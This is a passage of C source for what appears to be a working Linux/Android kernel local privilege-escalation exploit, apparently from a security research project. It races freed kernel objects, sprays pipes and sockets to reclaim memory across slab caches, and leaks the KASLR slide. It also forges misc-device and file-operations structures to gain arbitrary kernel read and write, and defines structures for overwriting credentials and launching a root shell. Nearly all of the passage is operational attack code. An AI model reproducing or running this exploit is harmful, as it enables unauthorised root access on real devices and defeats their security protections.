bridge_read64(fd, first + 8, &check_first_previous) || check_head_next != first ||
check_tail != tail || check_tail_next != head || check_first_previous != head) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=postwrite "
"head_next=%#llx first=%#llx tail=%#llx "
"tail_next=%#llx first_prev=%#llx errno=%d\n",
(unsigned long long)check_head_next, (unsigned long long)first,
(unsigned long long)check_tail, (unsigned long long)check_tail_next,
(unsigned long long)check_first_previous, errno);
return -1;
}
printf("MISC_LIST_RESTORE_PASS head=%#llx first=%#llx depth=%d\n", (unsigned long long)head,
(unsigned long long)first, depth + 1);
return 0;
}
static int confirm_stage0_cycle(int fd) {
uint64_t cycle_c = LINK_CYCLE_C + kernel_slide;
uint64_t cycle_d = LINK_CYCLE_D + kernel_slide;
uint64_t observed_cycle[4] = {0};
const uint64_t cycle_targets[] = {
cycle_c,
cycle_c + 8,
cycle_d,
cycle_d + 8,
};
const uint64_t cycle_values[] = {
cycle_d,
cycle_d,
cycle_c,
cycle_c,
};
struct timespec delay = {.tv_nsec = 1000000};
for (int read_index = 0; read_index < 3; read_index++) {
for (size_t index = 0; index < ARRAY_SIZE(cycle_targets); index++) {
if (bridge_read64(fd, cycle_targets[index], &observed_cycle[index]) ||
observed_cycle[index] != cycle_values[index]) {
printf("STAGE0_RESTORE_GATE_FAIL stage=readback_cycle "
"read=%d index=%zu observed=%#llx "
"expected=%#llx errno=%d\n",
read_index, index, (unsigned long long)observed_cycle[index],
(unsigned long long)cycle_values[index], errno);
return -1;
}
}
nanosleep(&delay, NULL);
}
printf("STAGE0_CYCLE_RESTORE_PASS reads=3\n");
return 0;
}
static int restore_stage0_state(int fd, uint64_t baseline0, uint64_t baseline1) {
uint64_t cycle_c = LINK_CYCLE_C + kernel_slide;
uint64_t cycle_d = LINK_CYCLE_D + kernel_slide;
const uint64_t cycle_targets[] = {
cycle_c,
cycle_c + 8,
cycle_d,
cycle_d + 8,
};
const uint64_t cycle_values[] = {
cycle_d,
cycle_d,
cycle_c,
cycle_c,
};
struct timespec delay = {.tv_nsec = 1000000};
char text[64];
uint64_t observed0 = 0;
uint64_t observed1 = 0;
for (size_t index = 0; index < ARRAY_SIZE(cycle_targets); index++) {
if (bridge_write64(fd, cycle_targets[index], cycle_values[index])) {
printf("STAGE0_RESTORE_GATE_FAIL stage=write_cycle "
"index=%zu target=%#llx errno=%d\n",
index, (unsigned long long)cycle_targets[index], errno);
return -1;
}
}
if (confirm_stage0_cycle(fd))
return -1;
if (bridge_write64(fd, direct_bootid_parent + 8, LINK_SYSCTL_BOOTID + kernel_slide)) {
printf("STAGE0_RESTORE_GATE_FAIL stage=write_bootid errno=%d\n", errno);
return -1;
}
for (int read_index = 0; read_index < 3; read_index++) {
if (read_boot_id(text, &observed0, &observed1) || observed0 != baseline0 ||
observed1 != baseline1) {
printf("STAGE0_RESTORE_GATE_FAIL stage=bootid "
"read=%d observed=%#llx/%#llx expected=%#llx/%#llx "
"errno=%d\n",
read_index, (unsigned long long)observed0, (unsigned long long)observed1,
(unsigned long long)baseline0, (unsigned long long)baseline1, errno);
return -1;
}
nanosleep(&delay, NULL);
}
printf("STAGE0_BOOTID_RESTORE_PASS reads=3 boot_id=%s", text);
return 0;
}
static int verify_real_uhid(void) {
char name[ASHMEM_NAME_LEN] = "_NEBUSEC-restored";
int fd = open(UHID_PATH, O_RDWR | O_CLOEXEC);
if (fd < 0)
return -1;
errno = 0;
int result = ioctl(fd, ASHMEM_SET_NAME, name);
int saved_errno = errno;
close(fd);
return result == -1 && saved_errno == ENOTTY ? 0 : -1;
}
static __attribute__((noreturn)) void hold_corrupted_state(void) {
hold_cred_unknown();
}
static __attribute__((noreturn, noinline)) void hold_cred_unknown(void) {
for (;;)
asm volatile("yield" : : : "memory");
}
static int slide_from_pointer(uint64_t pointer, uint64_t *slide) {
const uint64_t links[] = {LINK_CYCLE_D, LINK_CYCLE_C};
size_t i;
for (i = 0; i < ARRAY_SIZE(links); i++) {
uint64_t candidate = pointer - links[i];
if (candidate >= KASLR_SLIDE_MIN && candidate < KASLR_SLIDE_END &&
!(candidate & (KASLR_ALIGN - 1))) {
*slide = candidate;
return 0;
}
}
return -1;
}
static int read_validated_result(struct watcher_result *result) {
char text[64];
uint64_t qword0;
uint64_t qword1;
uint64_t slide;
if (boot_validation == BOOT_VALIDATE_MISC_BRIDGE)
return validate_misc_bridge(result);
if (read_boot_id(text, &qword0, &qword1) || qword0 != forged_parent)
return -1;
if (slide_from_pointer(qword1, &slide))
return -1;
result->magic = NEBUSEC_MAGIC;
result->qword0 = qword0;
result->qword1 = qword1;
result->slide = slide;
return 0;
}
static void print_validation_pass(int attempt, const struct watcher_result *result) {
if (boot_validation == BOOT_VALIDATE_KASLR)
printf("BOOTID_WRITE_PASS attempt=%d q0=%#llx q1=%#llx "
"slide=%#llx kernel_base=%#llx\n",
attempt, (unsigned long long)result->qword0, (unsigned long long)result->qword1,
(unsigned long long)result->slide,
(unsigned long long)(LINK_IMAGE_BASE + result->slide));
else
printf("MISC_BRIDGE_READ_PASS attempt=%d value=%#llx "
"target=%#llx slide=%#llx\n",
attempt, (unsigned long long)result->qword0, (unsigned long long)result->qword1,
(unsigned long long)result->slide);
fflush(stdout);
}
static void validation_watcher(int notify_fd) {
struct watcher_result result;
long long deadline = monotonic_ns() + (long long)watcher_timeout_ms * 1000000LL;
pin_cpu(cpu_count > 1 ? 1 : 0);
while (monotonic_ns() < deadline) {
if (!read_validated_result(&result)) {
if (write(notify_fd, &result, sizeof(result)) != (ssize_t)sizeof(result))
_exit(106);
_exit(0);
}
}
_exit(1);
}
static int confirm_validation(struct watcher_result *result) {
struct timespec delay = {.tv_nsec = 1000000};
for (int read_index = 0; read_index < 3; read_index++) {
if (read_validated_result(result))
return -1;
nanosleep(&delay, NULL);
}
return 0;
}
static int confirm_stage0_baseline(void) {
struct timespec delay = {.tv_nsec = 1000000};
char text[64];
uint64_t qword0 = 0;
uint64_t qword1 = 0;
for (int read_index = 0; read_index < 3; read_index++) {
if (read_boot_id(text, &qword0, &qword1) || qword0 != stage0_baseline0 ||
qword1 != stage0_baseline1) {
printf("STAGE0_MISS_NOT_PROVEN read=%d observed=%#llx/%#llx "
"expected=%#llx/%#llx errno=%d\n",
read_index, (unsigned long long)qword0, (unsigned long long)qword1,
(unsigned long long)stage0_baseline0, (unsigned long long)stage0_baseline1,
errno);
return -1;
}
nanosleep(&delay, NULL);
}
return 0;
}
static void wait_rcu_window(void) {
struct timespec delay = {
.tv_sec = rcu_wait_us / 1000000,
.tv_nsec = (rcu_wait_us % 1000000) * 1000,
};
while (nanosleep(&delay, &delay) && errno == EINTR)
;
}
static int wait_timer_slab_drain(int attempt) {
long long begin = monotonic_ns();
int active = -1;
int total = -1;
wait_rcu_window();
long long deadline = monotonic_ns() + 12000000000LL;
for (;;) {
if (!read_timer_slab(&active, &total) && active < 1024 && total < 1024) {
printf("SLAB_DRAIN_PASS attempt=%d active=%d total=%d "
"wait_ms=%lld\n",
attempt, active, total, (monotonic_ns() - begin) / 1000000);
return 0;
}
if (monotonic_ns() >= deadline)
break;
{ struct timespec delay = {.tv_nsec = 100000000};
nanosleep(&delay, NULL);
}
}
printf("RCU_NOT_DRAINED attempt=%d active=%d total=%d baseline=%d/%d\n", attempt, active, total,
slab_baseline_active, slab_baseline_total);
return -1;
}
static int direct_node_pointer(uint64_t value, size_t offset) {
uint64_t untagged = value & UINT64_C(0x00ffffffffffffff);
return untagged >= UINT64_C(0x00ffff8000000000) && untagged < UINT64_C(0x00ffffc000000000) &&
(value & (ORDER1_SIZE - 1)) == offset;
}
static int scan_segment(const unsigned char *message, size_t base, int slots) {
int changed = 0;
for (int slot = 0; slot < slots; slot++) {
size_t offset = FAKE_CPU_TIMER_FIRST_OFF + (size_t)slot * FAKE_CPU_TIMER_STRIDE;
uint64_t value;
memcpy(&value, message + base + offset, sizeof(value));
if (value != forged_parent && direct_node_pointer(value, offset))
changed++;
}
return changed;
}
static int scan_reclaimed_fragments(struct spray_pair *pairs) {
unsigned char *fragments = malloc(ORDER1_SIZE * SPRAY_REPEATS);
int changed = 0;
int received = 0;
if (!fragments) {
printf("ORDER1_RECLAIM_GATE_FAIL stage=allocate errno=%d\n", errno);
return -1;
}
for (int i = 0; i < pipe_count; i++) {
unsigned char marker;
if (receive_exact(pairs[i].rx, &marker, 1) || marker != SPRAY_MARKER ||
receive_exact(pairs[i].rx, fragments, ORDER1_SIZE * SPRAY_REPEATS))
continue;
received++;
for (int repeat = 0; repeat < SPRAY_REPEATS; repeat++)
changed += scan_segment(fragments, (size_t)repeat * ORDER1_SIZE, FAKE_MISC_SLOTS);
}
free(fragments);
printf("ORDER1_RECLAIM_GATE changed_nodes=%d received=%d pairs=%d "
"fragments=%d\n",
changed, received, pipe_count, pipe_count * SPRAY_REPEATS);
if (received != pipe_count)
return ATTEMPT_PRESERVE;
return changed;
}
static void *reap_victims(void *opaque) {
struct victim_reaper *reaper = opaque;
if (try_pin_cpu(reaper->cpu)) {
reaper->affinity_errno = errno;
}
for (int i = 0; i < reaper->count; i++) {
int status;
pid_t result;
if (reaper->victims[i] <= 0)
continue;
do {
result = waitpid(reaper->victims[i], &status, 0);
} while (result < 0 && errno == EINTR);
if (result < 0) {
reaper->wait_errno = errno;
break;
}
reaper->reaped++;
}
atomic_store_explicit(&reaper->done, 1, memory_order_release);
return NULL;
}
static int wait_reaper_done(struct victim_reaper *reaper, int timeout_ms) {
struct timespec now;
struct timespec delay = {.tv_nsec = 1000000};
if (clock_gettime(CLOCK_MONOTONIC, &now))
return -1;
long long deadline =
(long long)now.tv_sec * 1000000000LL + now.tv_nsec + (long long)timeout_ms * 1000000LL;
while (!atomic_load_explicit(&reaper->done, memory_order_acquire)) {
if (clock_gettime(CLOCK_MONOTONIC, &now))
return -1;
if ((long long)now.tv_sec * 1000000000LL + now.tv_nsec >= deadline)
break;
nanosleep(&delay, NULL);
}
return atomic_load_explicit(&reaper->done, memory_order_acquire);
}
static int waitpid_exact(pid_t child, int *status) {
pid_t result;
do {
result = waitpid(child, status, 0);
} while (result < 0 && errno == EINTR);
return result == child ? 0 : -1;
}
static int terminate_and_reap(pid_t child, int *status) {
if (kill(child, SIGKILL) && errno != ESRCH)
return -1;
return waitpid_exact(child, status);
}
static int waitpid_timed(pid_t child, int *status, int timeout_ms) {
struct timespec now;
struct timespec delay = {.tv_nsec = 1000000};
long long deadline;
if (clock_gettime(CLOCK_MONOTONIC, &now))
return -1;
deadline =
(long long)now.tv_sec * 1000000000LL + now.tv_nsec + (long long)timeout_ms * 1000000LL;
for (;;) {
pid_t result = waitpid(child, status, WNOHANG);
if (result == child)
return 0;
if (result < 0 && errno != EINTR)
return -1;
if (clock_gettime(CLOCK_MONOTONIC, &now))
return -1;
if ((long long)now.tv_sec * 1000000000LL + now.tv_nsec >= deadline) {
errno = ETIMEDOUT;
return -1;
}
nanosleep(&delay, NULL);
}
}
static int terminate_and_reap_timed(pid_t child, int *status, int timeout_ms) {
if (kill(child, SIGKILL) && errno != ESRCH)
return -1;
return waitpid_timed(child, status, timeout_ms);
}
static int exploit_attempt(int attempt, const unsigned char fake_fragment[ORDER1_SIZE],
struct watcher_result *out) {
pid_t victims[MAX_RACE_BATCH];
struct spray_pair *pairs = NULL;
struct victim_reaper *reaper;
struct watcher_result result;
struct pollfd poll_fd;
pthread_t reaper_thread;
pid_t watcher;
int win_pipe[2];
int valid = 0;
int status;
int i;
if (prepare_spray_pairs(&pairs))
die("prepare spray pairs");
if (run_spray_phase(pairs, fake_fragment, SPRAY_PREPARE_HEADS) ||
run_spray_phase(pairs, fake_fragment, SPRAY_PUNCH_HOLES)) {
close_spray_pairs(pairs);
printf("HEAD_CACHE_PREP_FAIL attempt=%d\n", attempt);
return 0;
}
printf("ATTEMPT_BEGIN attempt=%d batch=%d pairs=%d fragments=%d "
"rcu_wait_us=%ld\n",
attempt, race_batch, pipe_count, pipe_count * SPRAY_REPEATS, rcu_wait_us);
for (i = 0; i < race_batch; i++) {
victims[i] = run_race((attempt - 1) * race_batch + i + 1);
if (victims[i] > 0)
valid++;
}
if (!valid) {
close_spray_pairs(pairs);
return 0;
}
force_rcu_callbacks(attempt);
if (wait_timer_slab_drain(attempt)) {
for (i = 0; i < race_batch; i++) {
if (victims[i] > 0) {
if (terminate_and_reap(victims[i], &status)) {
printf("VICTIM_REAP_NOT_PROVEN attempt=%d "
"victim=%d errno=%d\n",
attempt, victims[i], errno);
return ATTEMPT_PRESERVE;
}
}
}
close_spray_pairs(pairs);
return 0;
}
if (boot_validation == BOOT_VALIDATE_KASLR) {
atomic_store_explicit(&kernel_state_dirty, 1, memory_order_release);
printf("STAGE0_DIRTY_ARM attempt=%d\n", attempt);
}
{ int errors = run_spray_phase(pairs, fake_fragment, SPRAY_ORDER1_FRAGMENTS);
printf("SPRAY_DONE attempt=%d valid=%d pairs=%d fragments=%d "
"errors=%d\n",
attempt, valid, pipe_count, pipe_count * SPRAY_REPEATS, errors);
if (errors) {
printf("ORDER1_STATE_UNKNOWN attempt=%d mode=%d "
"stage=spray\n",
attempt, boot_validation);
return ATTEMPT_PRESERVE;
}
}
reaper = calloc(1, sizeof(*reaper));
if (!reaper) {
printf("REAPER_SETUP_FAIL stage=allocate attempt=%d errno=%d\n", attempt, errno);
return -1;
}
if (pipe2(win_pipe, O_CLOEXEC | O_NONBLOCK)) {
printf("REAPER_SETUP_FAIL stage=pipe attempt=%d errno=%d\n", attempt, errno);
free(reaper);
return -1;
}
watcher = fork();
if (watcher < 0) {
printf("REAPER_SETUP_FAIL stage=fork attempt=%d errno=%d\n", attempt, errno);
close(win_pipe[0]);
close(win_pipe[1]);
free(reaper);
return -1;
}
if (!watcher) {
close(win_pipe[0]);
validation_watcher(win_pipe[1]);
}
close(win_pipe[1]);
for (i = 0; i < race_batch; i++) {
if (victims[i] > 0)
kill(victims[i], SIGKILL);
}
memcpy(reaper->victims, victims, (size_t)race_batch * sizeof(*victims));
reaper->count = race_batch;
reaper->cpu = cpu_count > 2 ? 2 + reaper_cpu_generation % (cpu_count - 2) : 0;
if (pthread_create(&reaper_thread, NULL, reap_victims, reaper)) {
printf("REAPER_SETUP_FAIL stage=thread attempt=%d errno=%d\n", attempt, errno);
return -1;
}
poll_fd.fd = win_pipe[0];
poll_fd.events = POLLIN;
poll_fd.revents = 0;
memset(&result, 0, sizeof(result));
if (poll(&poll_fd, 1, watcher_timeout_ms + 250) > 0 &&
read(win_pipe[0], &result, sizeof(result)) == (ssize_t)sizeof(result) &&
result.magic == NEBUSEC_MAGIC) {
close(win_pipe[0]);
if (waitpid_exact(watcher, &status) || !WIFEXITED(status) || WEXITSTATUS(status)) {
printf("WATCHER_REAP_NOT_PROVEN attempt=%d path=hit\n", attempt);
return ATTEMPT_PRESERVE;
}
if (wait_reaper_done(reaper, 1000) != 1) {
pthread_detach(reaper_thread);
reaper_cpu_generation++;
printf("REAPER_NOT_FINITE attempt=%d cpu=%d\n", attempt, reaper->cpu);
fflush(stdout);
return -1;
}
if (pthread_join(reaper_thread, NULL)) {
printf("REAPER_JOIN_FAIL attempt=%d path=watcher\n", attempt);
return ATTEMPT_PRESERVE;
}
if (reaper->wait_errno || reaper->affinity_errno || reaper->reaped != valid) {
printf("REAPER_INCOMPLETE attempt=%d reaped=%d "
"valid=%d wait_errno=%d affinity_errno=%d\n",
attempt, reaper->reaped, valid, reaper->wait_errno, reaper->affinity_errno);
free(reaper);
return -1;
}
if (confirm_validation(&result)) {
printf("VALIDATION_NOT_STABLE attempt=%d mode=%d\n", attempt, boot_validation);
free(reaper);
return -1;
}
if (boot_validation == BOOT_VALIDATE_MISC_BRIDGE)
printf("REAPER_FINITE_PASS attempt=%d reaped=%d cpu=%d\n", attempt, reaper->reaped,
reaper->cpu);
free(reaper);
print_validation_pass(attempt, &result);
sleep(2);
if (boot_validation == BOOT_VALIDATE_KASLR)
atomic_store_explicit(&kernel_state_dirty, 1, memory_order_release);
close_spray_pairs(pairs);
*out = result;
return 1;
}
close(win_pipe[0]);
if (terminate_and_reap(watcher, &status)) {
printf("WATCHER_REAP_NOT_PROVEN attempt=%d path=scanner errno=%d\n", attempt, errno);
return ATTEMPT_PRESERVE;
}
if (!atomic_load_explicit(&reaper->done, memory_order_acquire)) {
pthread_detach(reaper_thread);
reaper_cpu_generation++;
printf("FORGED_QUEUE_NO_UUID attempt=%d reaper_cpu=%d\n", attempt, reaper->cpu);
fflush(stdout);
sleep(2);
return -1;
}
if (pthread_join(reaper_thread, NULL)) {
printf("REAPER_JOIN_FAIL attempt=%d path=scanner\n", attempt);
return ATTEMPT_PRESERVE;
}
if (reaper->wait_errno || reaper->affinity_errno || reaper->reaped != valid) {
printf("REAPER_WAIT_ERROR attempt=%d reaped=%d valid=%d "
"wait_errno=%d affinity_errno=%d\n",
attempt, reaper->reaped, valid, reaper->wait_errno, reaper->affinity_errno);
free(reaper);
return -1;
}
free(reaper);
{ int changed = scan_reclaimed_fragments(pairs);
if (changed < 0)
return ATTEMPT_PRESERVE;
if (!read_validated_result(&result)) {
if (confirm_validation(&result)) {
printf("VALIDATION_NOT_STABLE attempt=%d mode=%d\n", attempt, boot_validation);
return ATTEMPT_PRESERVE;
}
print_validation_pass(attempt, &result);
*out = result;
if (boot_validation == BOOT_VALIDATE_KASLR)
atomic_store_explicit(&kernel_state_dirty, 1, memory_order_release);
close_spray_pairs(pairs);
return ATTEMPT_HIT;
}
if (boot_validation == BOOT_VALIDATE_MISC_BRIDGE) {
if (changed > 0 || verify_real_uhid() || verify_real_uhid()) {
printf("MISC_BRIDGE_MISS_NOT_PROVEN attempt=%d "
"changed=%d errno=%d\n",
attempt, changed, errno);
return ATTEMPT_PRESERVE;
}
} else if (changed > 0 || confirm_stage0_baseline()) {
printf("STAGE0_MISS_NOT_PROVEN attempt=%d changed=%d\n", attempt, changed);
return ATTEMPT_PRESERVE;
} else {
atomic_store_explicit(&kernel_state_dirty, 0, memory_order_release);
printf("STAGE0_MISS_CLEAN attempt=%d reads=3 changed=0\n", attempt);
}
}
close_spray_pairs(pairs);
printf("ATTEMPT_MISS attempt=%d valid=%d\n", attempt, valid);
return ATTEMPT_MISS;
}
static int apply_race_cpu_limit(void) {
cpu_set_t requested;
cpu_set_t observed;
if (!race_cpu_limit)
return 0;
CPU_ZERO(&requested);
for (int cpu = 0; cpu < cpu_count; cpu++)
CPU_SET(race_cpu_base + cpu, &requested);
if (sched_setaffinity(0, sizeof(requested), &requested) ||
sched_getaffinity(0, sizeof(observed), &observed)) {
fprintf(stderr,
"RACE_CPU_LIMIT_GATE_FAIL reason=affinity errno=%d "
"requested=%d online=%d\n",
errno, race_cpu_limit, online_cpu_count);
return -1;
}
for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) {
int expected = cpu >= race_cpu_base && cpu < race_cpu_base + cpu_count;
if (!!CPU_ISSET(cpu, &observed) != expected) {
fprintf(stderr,
"RACE_CPU_LIMIT_GATE_FAIL reason=readback cpu=%d "
"requested=%d base=%d online=%d\n",
cpu, race_cpu_limit, race_cpu_base, online_cpu_count);
return -1;
}
}
return 0;
}
static void raise_limits(void) {
struct rlimit limit;
if (!getrlimit(RLIMIT_NOFILE, &limit)) {
rlim_t wanted = 8192;
if (wanted > limit.rlim_max)
wanted = limit.rlim_max;
limit.rlim_cur = wanted;
setrlimit(RLIMIT_NOFILE, &limit);
}
limit.rlim_cur = 250000;
limit.rlim_max = 250000;
setrlimit(RLIMIT_SIGPENDING, &limit);
}
#define CC_OBJECTS_PER_SLAB 25
#define CC_PREPARE_SLABS 32
#define CC_PARTIAL_SLABS 11
#define CC_GUARD_PAGES 5
struct crosscache_context {
size_t count;
pid_t *pids;
int *memfds;
};
struct controlled_page {
uint64_t base;
int sockets[2];
};
enum pipe_meta_state {
PIPE_META_NATIVE,
PIPE_META_TEMPORARY,
PIPE_META_UNKNOWN,
};
struct pipe_reclaim_probe {
struct controlled_page carrier;
int drain[DP_PIPE_DRAIN_COUNT][2];
int reclaim[DP_PIPE_RECLAIM_MAX][2];
uint64_t base;
uint64_t page_desc;
uint64_t pipe_buffer_addr;
struct dp_pipe_buffer canonical;
int pipe_index;
enum pipe_meta_state meta_state;
unsigned int transaction_sequence;
int transaction_log;
};
struct physical_layout {
uint64_t memstart_addr;
uint64_t kimage_voffset;
};
struct task_snapshot {
uint64_t tasks_next;
uint32_t pid;
uint32_t tgid;
uint64_t group_leader;
uint64_t real_cred;
uint64_t cred;
char comm[DP_TASK_COMM_LEN];
};
struct root_child_report {
uint64_t magic;
int32_t pid;
uint32_t uid;
uint32_t euid;
uint32_t suid;
uint32_t fsuid;
uint32_t gid;
uint32_t egid;
uint32_t sgid;
uint32_t fsgid;
int32_t group_count;
uint32_t groups[64];
uint64_t cap_inheritable;
uint64_t cap_permitted;
uint64_t cap_effective;
uint64_t cap_bounding;
uint64_t cap_ambient;
int32_t securebits;
int32_t no_new_privs;
int32_t seccomp;
int32_t capture_result;
};
struct root_shared_state {
atomic_int child_fds_closed;
atomic_int child_security_ready;
atomic_int child_ready;
atomic_int child_shell_go;
struct root_child_report report;
};
struct user_security_state {
pid_t local_pid;
pid_t global_pid;
int nspid_depth;
uid_t uid;
uid_t euid;
uid_t suid;
uid_t fsuid;
gid_t gid;
gid_t egid;
gid_t sgid;
gid_t fsgid;
int group_count;
gid_t groups[64];
uint64_t cap_inheritable;
uint64_t cap_permitted;
uint64_t cap_effective;
uint64_t cap_bounding;
uint64_t cap_ambient;
int securebits;
int no_new_privs;
int seccomp;
int enforcing;
char context[64];
};
struct kernel_root_cred_identity {
uint64_t usage;
uint64_t security;
uint64_t user;
uint64_t user_ns;
uint64_t ucounts;
uint64_t group_info;
unsigned char selinux[DP_SELINUX_CRED_SIZE];
};
struct task_match {
uint64_t raw_task;
struct task_snapshot snapshot;
size_t nodes;
};
struct visited_task {
uint64_t untagged;
uint64_t raw;
};
static void crosscache_context_init(struct crosscache_context *context, size_t count) {
context->count = count;
context->pids = calloc(count, sizeof(*context->pids));
context->memfds = malloc(count * sizeof(*context->memfds));
if (!context->pids || !context->memfds)
die("allocate crosscache context");
for (size_t i = 0; i < count; i++)
context->memfds[i] = -1;
}
static pid_t crosscache_clone_pause(void) {
pid_t child = syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0);
if (child < 0)
die("clone mm holder");
if (!child) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
if (getppid() == 1)
_exit(110);
pin_cpu(cpu_count > 1 ? 1 : 0);
for (;;)
pause();
}
return child;
}
static int crosscache_open_mem(pid_t child) {
char path[64];
int fd;
snprintf(path, sizeof(path), "/proc/%d/mem", child);
fd = open(path, O_RDONLY | O_CLOEXEC);
if (fd < 0)
die("open mm holder mem");
return fd;
}
static void crosscache_kill_wait(pid_t child) {
if (child <= 0)
return;
if (kill(child, SIGKILL) && errno != ESRCH)
die("kill mm holder");
while (waitpid(child, NULL, 0) < 0) {
if (errno != EINTR)
die("wait mm holder");
}
}
static void crosscache_allocate_holders(struct crosscache_context *context) {
for (size_t i = 0; i < context->count; i++) {
context->pids[i] = crosscache_clone_pause();
context->memfds[i] = crosscache_open_mem(context->pids[i]);
}
}
static void crosscache_stop_holders(struct crosscache_context *context) {
for (size_t i = 0; i < context->count; i++) {
crosscache_kill_wait(context->pids[i]);
context->pids[i] = 0;
}
}
static void crosscache_close_memfd(struct crosscache_context *context, size_t index) {
if (context->memfds[index] < 0)
return;
if (close(context->memfds[index]))
die("close mm holder mem");
context->memfds[index] = -1;
}
static void crosscache_context_destroy(struct crosscache_context *context) {
for (size_t i = 0; i < context->count; i++) {
if (context->pids[i] > 0)
crosscache_kill_wait(context->pids[i]);
crosscache_close_memfd(context, i);
}
free(context->pids);
free(context->memfds);
memset(context, 0, sizeof(*context));
}
static void put_crosscache_qword(unsigned char *payload, size_t offset, uint64_t value) {
memcpy(payload + offset, &value, sizeof(value));
}
static void fill_crosscache_payload(unsigned char *payload, uint64_t base) {
uint64_t fake_fops = base + FAKE_FOPS_OFF;
uint32_t minor = UHID_MINOR;
memset(payload, 0, CC_SKB_SEND_BYTES);
for (int record = 0; record < FAKE_MISC_RECORDS; record++) {
uint64_t offset = fake_misc_record_offset(record);
memcpy(payload + offset, &minor, sizeof(minor));
put_crosscache_qword(payload, offset + FAKE_MISC_FOPS_OFF, fake_fops);
put_crosscache_qword(payload, offset + FAKE_MISC_PARENT_OFF,
base + fake_misc_record_offset(record) + FAKE_MISC_LEAF_DELTA);
}
put_crosscache_qword(payload, FAKE_FOPS_OFF + FOPS_READ_ITER_OFF,
LINK_CONFIGFS_READ_ITER + kernel_slide);
put_crosscache_qword(payload, FAKE_FOPS_OFF + FOPS_WRITE_ITER_OFF,
LINK_CONFIGFS_BIN_WRITE_ITER + kernel_slide);
put_crosscache_qword(payload, FAKE_FOPS_OFF + FOPS_UNLOCKED_IOCTL_OFF,
LINK_ASHMEM_IOCTL + kernel_slide);
put_crosscache_qword(payload, FAKE_FOPS_OFF + FOPS_OPEN_OFF, LINK_ASHMEM_OPEN + kernel_slide);
put_crosscache_qword(payload, FAKE_FOPS_OFF + FOPS_RELEASE_OFF,
LINK_ASHMEM_RELEASE + kernel_slide);
printf("BRIDGE_PAYLOAD first=%#llx last=%#llx fops=%#llx "
"scratch=%#llx records=%d\n",
(unsigned long long)(base + FAKE_MISC_OFF),
(unsigned long long)(base + fake_misc_record_offset(FAKE_MISC_RECORDS - 1)),
(unsigned long long)fake_fops, (unsigned long long)(base + BRIDGE_SCRATCH_OFF),
FAKE_MISC_RECORDS);
}
static void crosscache_prepare_socket(int sockets[2]) {
int sndbuf = 1024 * 1024;
if (socketpair(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0, sockets))
die("socketpair order3 page");
if (setsockopt(sockets[0], SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)))
die("set order3 socket buffer");
}
static void crosscache_send_prepared(int sockets[2], const unsigned char *payload) {
ssize_t sent = send(sockets[0], payload, CC_SKB_SEND_BYTES, MSG_NOSIGNAL);
if (sent != CC_SKB_SEND_BYTES)
die("send order3 page");
}
static uint64_t prepare_controlled_page(struct controlled_page *page) {
struct crosscache_context prepare;
struct crosscache_context spray;
struct crosscache_context pre;
struct crosscache_context post;
int collision_gate[2];
int guard_sockets[CC_GUARD_PAGES][2];
int scan_workers = cpu_count;
int hash_cpus = online_cpu_count;
memset(&prepare, 0, sizeof(prepare));
memset(&spray, 0, sizeof(spray));
memset(&pre, 0, sizeof(pre));
memset(&post, 0, sizeof(post));
page->sockets[0] = -1;
page->sockets[1] = -1;
for (size_t i = 0; i < CC_GUARD_PAGES; i++) {
guard_sockets[i][0] = -1;
guard_sockets[i][1] = -1;
}
crosscache_context_init(&prepare, CC_PREPARE_SLABS * CC_OBJECTS_PER_SLAB);
crosscache_context_init(&spray, CC_PARTIAL_SLABS * CC_OBJECTS_PER_SLAB);
crosscache_context_init(&pre, CC_OBJECTS_PER_SLAB - 1);
crosscache_context_init(&post, CC_OBJECTS_PER_SLAB);
pin_cpu(0);
printf("CROSSCACHE_ALLOC prepare=%zu spray=%zu pre=%zu post=%zu\n", prepare.count, spray.count,
pre.count, post.count);
crosscache_allocate_holders(&prepare);
crosscache_allocate_holders(&spray);
struct kernelsnitch_state *shared =
mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (shared == MAP_FAILED)
die("mmap kernelsnitch state");
memset(shared, 0, 0x1000);
shared->hash_size = (uint32_t)hash_cpus * 256;
if (race_cpu_limit)
printf("CROSSCACHE_CPU_GATE effective=%d base=%d physical=%d-%d "
"hash_cpus=%d scan_workers=%d\n",
cpu_count, race_cpu_base, race_cpu_base, race_cpu_base + cpu_count - 1, hash_cpus,
scan_workers);
futex_map = mmap(NULL, FUTEX_MAP_BYTES, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0);
if (futex_map == MAP_FAILED)
die("mmap kernelsnitch futex range");
for (size_t i = 0; i < pre.count; i++)
pre.pids[i] = crosscache_clone_pause();
if (pipe2(collision_gate, O_CLOEXEC))
die("pipe collision gate");
pid_t collision_child = syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0);
if (collision_child < 0)
die("clone collision child");
if (!collision_child) {
unsigned char go;
close(collision_gate[1]);
prctl(PR_SET_PDEATHSIG, SIGKILL);
if (read(collision_gate[0], &go, 1) != 1)
_exit(111);
close(collision_gate[0]);
_exit(build_timing_collisions(shared) ? 1 : 0);
}
close(collision_gate[0]);
for (size_t i = 0; i < post.count; i++)
post.pids[i] = crosscache_clone_pause();
for (size_t i = 0; i < pre.count; i++)
pre.memfds[i] = crosscache_open_mem(pre.pids[i]);
int collision_memfd = crosscache_open_mem(collision_child);
for (size_t i = 0; i < post.count; i++)
post.memfds[i] = crosscache_open_mem(post.pids[i]);
if (write(collision_gate[1], "G", 1) != 1)
die("release collision child");
close(collision_gate[1]);
crosscache_stop_holders(&pre);
crosscache_stop_holders(&post);
crosscache_stop_holders(&spray);
int collision_status;
if (waitpid(collision_child, &collision_status, 0) < 0)
die("wait collision child");
if (!WIFEXITED(collision_status) || WEXITSTATUS(collision_status) ||
shared->collision_count != COLLISION_GOAL)
die("kernelsnitch collision preparation");
uint64_t leaked = recover_mm_address(shared, scan_workers);
uint64_t base = leaked & ~(MM_SLAB_BYTES - 1);
if (leaked < DIRECT_MAP_BEGIN || leaked >= DIRECT_MAP_END ||
((leaked - base) % MM_OBJECT_BYTES) ||
(leaked - base) / MM_OBJECT_BYTES >= CC_OBJECTS_PER_SLAB)
die("kernelsnitch leaked address geometry");
